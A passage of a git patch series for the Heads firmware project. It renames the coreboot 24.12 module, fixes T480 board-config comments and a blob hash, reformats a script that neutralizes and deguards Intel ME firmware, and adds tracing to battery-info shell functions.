"PcieRpHotPlug[20]" = "1" -+# disable hotplug on nvme to prevent renaming e.g. nvme0n1 rename to nvme0n2, -+# which could cause crashes in linux if booting from nvme -+ register "PcieRpHotPlug[20]" = "0" - end - - # Realtek LAN --- -2.39.5 - diff --git a/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch deleted file mode 100644 index 228170eb5..000000000 --- a/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch +++ /dev/null @@ -1,36 +0,0 @@ -From f08dbaacf747eb198bbc8f83e0220ca803f19116 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Thu, 26 Dec 2024 19:45:20 +0000 -Subject: [PATCH 10/11] soc/intel/skylake: Don't compress FSP-S - -Build systems like lbmk need to reproducibly insert -certain vendor files on release images. - -Compression isn't always reproducible, and making it -so costs a lot more time than simply disabling compression. - -With this change, the FSP-S module will now be inserted -without compression, which means that there will now be -about 40KB of extra space used in the flash. - -Signed-off-by: Leah Rowe ---- - src/soc/intel/skylake/Kconfig | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig -index c24df2ef75..8e25f796ed 100644 ---- a/src/soc/intel/skylake/Kconfig -+++ b/src/soc/intel/skylake/Kconfig -@@ -12,7 +12,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE - select CPU_SUPPORTS_PM_TIMER_EMULATION - select DRIVERS_USB_ACPI - select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 -- select FSP_COMPRESS_FSP_S_LZ4 -+# select FSP_COMPRESS_FSP_S_LZ4 - select FSP_M_XIP - select GENERIC_GPIO_LIB - select HAVE_FSP_GOP --- -2.39.5 - From 0d53e8a3854b1de911a3b4f70d7fa0f9fb4a8962 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 12:11:57 -0500 Subject: [PATCH 37/50] rename coreboot-2412 to coreboot-24.12 for versioning consistency, move patches, point board configs to version change Signed-off-by: Thierry Laurion --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- modules/coreboot | 6 +++--- .../0001-soc-intel-skylake-configure-usb-acpi.patch | 0 ...c-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 0 ...003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 0 ...9-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch | 0 ...-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch | 0 .../0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 0 ...c-intel-skylake-Disable-stack-overflow-debug-optio.patch | 0 .../0014-src-intel-x4x-Disable-stack-overflow-debug.patch | 0 .../85278-post-skylake-pr0.patch | 0 12 files changed, 5 insertions(+), 5 deletions(-) rename patches/{coreboot-2412 => coreboot-24.12}/0001-soc-intel-skylake-configure-usb-acpi.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0014-src-intel-x4x-Disable-stack-overflow-debug.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/85278-post-skylake-pr0.patch (100%) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 1dcf97b81..9e4d4ddba 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=2412 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index ee20f0c43..4082cdf06 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=2412 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config diff --git a/modules/coreboot b/modules/coreboot index 5a022ed4a..1ff9b6497 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -104,10 +104,10 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # Therefore, patches/coreboot-2412 includes libreboot patches applied to 24.12 release # patches/coreboot-2412 also includes PR0 patchset, minus xeon support which don't apply to 24.12 as per https://review.coreboot.org/c/coreboot/+/85278 # TODO: @miczyg1 rebase of patchset so that doenstream don't have to maintain, adapt work -coreboot-2412_repo := https://review.coreboot.org/coreboot.git -coreboot-2412_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +coreboot-24.12_repo := https://review.coreboot.org/coreboot.git +coreboot-24.12_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a #Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 -$(eval $(call coreboot_module,2412,)) +$(eval $(call coreboot_module,24.12,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-24.12/0001-soc-intel-skylake-configure-usb-acpi.patch similarity index 100% rename from patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch rename to patches/coreboot-24.12/0001-soc-intel-skylake-configure-usb-acpi.patch diff --git a/patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-24.12/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch similarity index 100% rename from patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch rename to patches/coreboot-24.12/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch diff --git a/patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch similarity index 100% rename from patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch rename to patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch diff --git a/patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch similarity index 100% rename from patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch rename to patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch diff --git a/patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch similarity index 100% rename from patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch rename to patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch diff --git a/patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch similarity index 100% rename from patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch rename to patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch diff --git a/patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch similarity index 100% rename from patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch rename to patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch diff --git a/patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch similarity index 100% rename from patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch rename to patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-2412/85278-post-skylake-pr0.patch b/patches/coreboot-24.12/85278-post-skylake-pr0.patch similarity index 100% rename from patches/coreboot-2412/85278-post-skylake-pr0.patch rename to patches/coreboot-24.12/85278-post-skylake-pr0.patch From 82cc4108d67d21ecd8844e2dceb431e0fabd1dd0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 12:14:18 -0500 Subject: [PATCH 38/50] t480 board configs: add notes that MAC is forged in GBE provided in tree to proper MAC Signed-off-by: Thierry Laurion --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 9e4d4ddba..b1f3da2d5 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged TO:DO:TO:DO:TO:DO MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 4082cdf06..296f32b8d 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged TO:DO:TO:DO:TO:DO MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) From acd6c859db4ec3d13f2e1743c33664a5abe9dfac Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 23:43:22 +0100 Subject: [PATCH 39/50] fix mac address in t480 config comments Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index b1f3da2d5..901a761d7 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 296f32b8d..173d6e8ca 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) From 447754e38a41a2a693a5f52517cf9d832c15b6f1 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:29:02 +0100 Subject: [PATCH 40/50] fix whitespace/formatting of download_clean_deguard_me.sh Signed-off-by: gaspar-ilom --- blobs/xx80/download_clean_deguard_me.sh | 45 +++++++++++++------------ 1 file changed, 23 insertions(+), 22 deletions(-) diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh index 6bed90435..6d391f9cc 100755 --- a/blobs/xx80/download_clean_deguard_me.sh +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -20,7 +20,8 @@ Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. } function chk_sha256sum() { - sha256_hash="$1"; filename="$2" + sha256_hash="$1" + filename="$2" echo "$sha256_hash" "$filename" "$(pwd)" sha256sum "$filename" if ! echo "${sha256_hash} ${filename}" | sha256sum --check; then @@ -42,8 +43,8 @@ function chk_exists() { } function download_and_clean() { - me_output="$(realpath "${1}")" - + me_output="$(realpath "${1}")" + # Download and unpack the Dell installer into a temporary directory and # extract the deguardable Intel ME blob. pushd "$(mktemp -d)" || exit @@ -81,26 +82,26 @@ function download_and_clean() { } function deguard() { - me_input="$(realpath "${1}")" - me_output="$(realpath "${2}")" + me_input="$(realpath "${1}")" + me_output="$(realpath "${2}")" - # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. + # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. pushd "$(mktemp -d)" || exit - git clone https://review.coreboot.org/deguard.git - pushd deguard || exit - git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 - - python ./finalimage.py \ - --delta "data/delta/$ME_delta" \ - --version "$ME_version" \ - --pch "$ME_pch" \ - --sku "$ME_sku" \ - --fake-fpfs data/fpfs/zero \ - --input "$me_input" \ - --output "$me_output" - - popd || exit - #Cleanup + git clone https://review.coreboot.org/deguard.git + pushd deguard || exit + git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 + + python ./finalimage.py \ + --delta "data/delta/$ME_delta" \ + --version "$ME_version" \ + --pch "$ME_pch" \ + --sku "$ME_sku" \ + --fake-fpfs data/fpfs/zero \ + --input "$me_input" \ + --output "$me_output" + + popd || exit + #Cleanup rm -rf ./* popd || exit } @@ -119,7 +120,7 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then echo "ERROR: No COREBOOT_DIR variable defined." exit 1 fi - + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then download_and_clean "$me_cleaned" deguard "$me_cleaned" "$me_deguarded" From 930b9773ec183e66c42dd2541bd993e396016dd0 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:32:18 +0100 Subject: [PATCH 41/50] fix gbe.bin hash for t480 Signed-off-by: gaspar-ilom --- blobs/xx80/hashes.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt index 69f01a4ce..125e52148 100644 --- a/blobs/xx80/hashes.txt +++ b/blobs/xx80/hashes.txt @@ -1,3 +1,3 @@ -6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin From 820c38c15b1f9cdf20ff11070238196088c2c738 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:36:52 +0100 Subject: [PATCH 42/50] fix t480 board config comments Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 4 ++-- boards/t480-maximized/t480-maximized.config | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 901a761d7..a04bf8ff1 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -1,7 +1,7 @@ -# Configuration for a T480 running Qubes 4.1 and other Linux Based OSes (through kexec) +# Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # # Includes -# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 173d6e8ca..5e6a8d1e2 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,7 +1,7 @@ -# Configuration for a T480 running Qubes 4.1 and other Linux Based OSes (through kexec) +# Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # # Includes -# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # From f02ab497a1027fb296ca4b78bf0facf5575993b3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 18 Feb 2025 08:45:18 -0500 Subject: [PATCH 43/50] System Info (battery info): dependant functions: add tracing and debug Repro: On QEMU (no battery, debug + tracing on): [ 41.792342] TRACE: /bin/gui-init(383): show_main_menu [ 44.722784] TRACE: /etc/gui_functions(167): show_system_info [ 44.765643] TRACE: /etc/functions(1241): print_battery_charge [ 44.846725] DEBUG: No battery found in /sys/class/power_supply/ [ 44.899241] TRACE: /etc/functions(1224): print_battery_health [ 45.009917] DEBUG: No battery found in /sys/class/power_supply/ Battery info not provided under whiptail output. Info for battery depends on linux kernel enablement. Maybe something missing for t480. Signed-off-by: Thierry Laurion --- initrd/bin/oem-system-info-xx30 | 91 ++++++++++---------- initrd/etc/functions | 32 +++++-- initrd/etc/gui_functions | 145 +++++++++++++++----------------- 3 files changed, 140 insertions(+), 128 deletions(-) diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index 39e51985a..fc98f0925 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -1,7 +1,7 @@ #!/bin/bash # System Info -BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} +BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | Extended System Information" export BG_COLOR_MAIN_MENU="normal" @@ -12,48 +12,47 @@ export BG_COLOR_MAIN_MENU="normal" TRACE_FUNC - battery_charge="$(print_battery_charge)" - battery_health="$(print_battery_health)" - if [ -n $battery_charge -a -n $battery_health ];then - battery_status="\nBattery charge: $battery_charge% Battery health: $battery_health%\n" - fi - - usb="$(lsusb)" - pci="$(lspci)" - - camera="None|Unknown" - if echo "$usb" |grep -s "04f2:b2db"; then camera="Yes"; fi #t430 - if echo "$usb" |grep -s "04f2:b2ea"; then camera="Yes"; fi #x230 - if echo "$usb" |grep -s "5986:02d2"; then camera="Yes"; fi #x230 - - - bluetooth="None|Unkown" - if echo "$usb" |grep -s "0a5c:21e6"; then bluetooth="BCM20702 Bluetooth 4.0"; fi - - wifi="None|Unkown" - if echo "$pci" |grep -s "8086:0085"; then wifi="Intel Centrino Advanced-N 6205"; fi - if echo "$pci" |grep -s "168c:0034"; then wifi="Qualcomm Atheros AR9462"; fi - if echo "$pci" |grep -s "168c:0030"; then wifi="Qualcomm Atheros AR93xx"; fi - - mouse="None|Uknown" - if grep -s "TouchPad" /sys/class/input/mouse*/device/name; then mouse="Synaptic TouchPad"; fi - - know_devices="$(echo -e "Camera: ${camera}\nBluetooth: ${bluetooth}\nWifi: ${wifi}\nMouse: ${mouse}")" - - echo -e "PCI USB" > /tmp/devices_usb_pci - for l in $(seq 16); do - row1="$(echo "$pci"|sed -n ${l}p|cut -d " " -f 5)" - row2="$(echo "$usb"|sed -n ${l}p|cut -d " " -f 6)" - row3="$(echo "$know_devices"|sed -n ${l}p)" - echo "${row1} | ${row2} ${row3}" >> /tmp/devices_usb_pci - done - - memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') - memtotal=$((${memtotal} / 1024 / 1024 + 1)) - cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') - kernel=$(uname -s -r) - - FB_OPTIONS="" - if whiptail --version |grep "fbwhiptail"; then FB_OPTIONS="--text-size 12"; fi - whiptail_type $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ - --msgbox "${BOARD_NAME}\nFW_VER: ${FW_VER}\nKernel: ${kernel}\nCPU: ${cpustr} RAM: ${memtotal} GB $battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')\n\n$(cat /tmp/devices_usb_pci)" 0 80 +battery_charge="$(print_battery_charge)" +battery_health="$(print_battery_health)" +if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then + battery_status="\nBattery charge: $battery_charge% Battery health: $battery_health%\n" +fi + +usb="$(lsusb)" +pci="$(lspci)" + +camera="None|Unknown" +if echo "$usb" | grep -s "04f2:b2db"; then camera="Yes"; fi # t430 +if echo "$usb" | grep -s "04f2:b2ea"; then camera="Yes"; fi # x230 +if echo "$usb" | grep -s "5986:02d2"; then camera="Yes"; fi # x230 + +bluetooth="None|Unknown" +if echo "$usb" | grep -s "0a5c:21e6"; then bluetooth="BCM20702 Bluetooth 4.0"; fi + +wifi="None|Unknown" +if echo "$pci" | grep -s "8086:0085"; then wifi="Intel Centrino Advanced-N 6205"; fi +if echo "$pci" | grep -s "168c:0034"; then wifi="Qualcomm Atheros AR9462"; fi +if echo "$pci" | grep -s "168c:0030"; then wifi="Qualcomm Atheros AR93xx"; fi + +mouse="None|Unknown" +if grep -s "TouchPad" /sys/class/input/mouse*/device/name; then mouse="Synaptic TouchPad"; fi + +known_devices="$(echo -e "Camera: ${camera}\nBluetooth: ${bluetooth}\nWifi: ${wifi}\nMouse: ${mouse}")" + +echo -e "PCI USB" >/tmp/devices_usb_pci +for l in $(seq 16); do + row1="$(echo "$pci" | sed -n ${l}p | cut -d " " -f 5)" + row2="$(echo "$usb" | sed -n ${l}p | cut -d " " -f 6)" + row3="$(echo "$known_devices" | sed -n ${l}p)" + echo "${row1} | ${row2} ${row3}" >>/tmp/devices_usb_pci +done + +memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') +memtotal=$((${memtotal} / 1024 / 1024 + 1)) +cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') +kernel=$(uname -s -r) + +FB_OPTIONS="" +if whiptail --version | grep "fbwhiptail"; then FB_OPTIONS="--text-size 12"; fi +whiptail_type $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ + --msgbox "${BOARD_NAME}\nFW_VER: ${FW_VER}\nKernel: ${kernel}\nCPU: ${cpustr} RAM: ${memtotal} GB $battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')\n\n$(cat /tmp/devices_usb_pci)" 0 80 diff --git a/initrd/etc/functions b/initrd/etc/functions index e4a735080..6f20e4a47 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1221,16 +1221,36 @@ fromhex_plain() { } print_battery_health() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_health=$(calc $(cat /sys/class/power_supply/BAT*/charge_full)/$(cat /sys/class/power_supply/BAT*/charge_full_design)*100 | awk -F "." {'print $1'}) - echo "$battery_health" + TRACE_FUNC + if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then + for battery in /sys/class/power_supply/BAT*; do + if [ -d "$battery" ]; then + charge_full=$(cat "$battery/charge_full") + charge_full_design=$(cat "$battery/charge_full_design") + battery_health=$(calc "$charge_full / $charge_full_design * 100" | awk -F "." '{print $1}') + DEBUG "Battery $battery health: $battery_health%" + echo "$battery_health" + fi + done + else + DEBUG "No battery found in /sys/class/power_supply/" fi } print_battery_charge() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_charge=$(calc $(cat /sys/class/power_supply/BAT*/charge_now)/$(cat /sys/class/power_supply/BAT*/charge_full)*100 | awk -F "." {'print $1'}) - echo "$battery_charge" + TRACE_FUNC + if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then + for battery in /sys/class/power_supply/BAT*; do + if [ -d "$battery" ]; then + charge_now=$(cat "$battery/charge_now") + charge_full=$(cat "$battery/charge_full") + battery_charge=$(calc "$charge_now / $charge_full * 100" | awk -F "." '{print $1}') + DEBUG "Battery $battery charge: $battery_charge%" + echo "$battery_charge" + fi + done + else + DEBUG "No battery found in /sys/class/power_supply/" fi } diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 3566cc2ac..8c6a65199 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -4,8 +4,7 @@ # Pause for the configured timeout before booting automatically. Returns 0 to # continue with automatic boot, nonzero if user interrupted. -pause_automatic_boot() -{ +pause_automatic_boot() { if IFS= read -t "$CONFIG_AUTO_BOOT_TIMEOUT" -s -n 1 -r -p \ $'Automatic boot in '"$CONFIG_AUTO_BOOT_TIMEOUT"$' seconds unless interrupted by keypress...\n'; then return 1 # Interrupt automatic boot @@ -13,61 +12,60 @@ pause_automatic_boot() return 0 # Continue with automatic boot } -mount_usb() -{ - TRACE_FUNC - # Unmount any previous USB device - if grep -q /media /proc/mounts ; then - umount /media || die "Unable to unmount /media" - fi - # Mount the USB boot device - mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) - if [ $USB_FAILED -ne 0 ]; then - whiptail_error --title 'USB Drive Missing' \ - --msgbox "Insert your USB drive and press Enter to continue." 0 80 - mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) - if [ $USB_FAILED -ne 0 ]; then - whiptail_error --title 'ERROR: Mounting /media Failed' \ - --msgbox "Unable to mount USB device" 0 80 - exit 1 - fi - fi +mount_usb() { + TRACE_FUNC + # Unmount any previous USB device + if grep -q /media /proc/mounts; then + umount /media || die "Unable to unmount /media" + fi + # Mount the USB boot device + mount-usb && USB_FAILED=0 || ([ $? -eq 5 ] && exit 1 || USB_FAILED=1) + if [ $USB_FAILED -ne 0 ]; then + whiptail_error --title 'USB Drive Missing' \ + --msgbox "Insert your USB drive and press Enter to continue." 0 80 + mount-usb && USB_FAILED=0 || ([ $? -eq 5 ] && exit 1 || USB_FAILED=1) + if [ $USB_FAILED -ne 0 ]; then + whiptail_error --title 'ERROR: Mounting /media Failed' \ + --msgbox "Unable to mount USB device" 0 80 + exit 1 + fi + fi } # -- Display related functions -- # Produce a whiptail prompt with 'warning' background, works for fbwhiptail and newt whiptail_warning() { - if [ -x /bin/fbwhiptail ]; then - whiptail $BG_COLOR_WARNING "$@" - else - env NEWT_COLORS="root=,$TEXT_BG_COLOR_WARNING" whiptail "$@" - fi + if 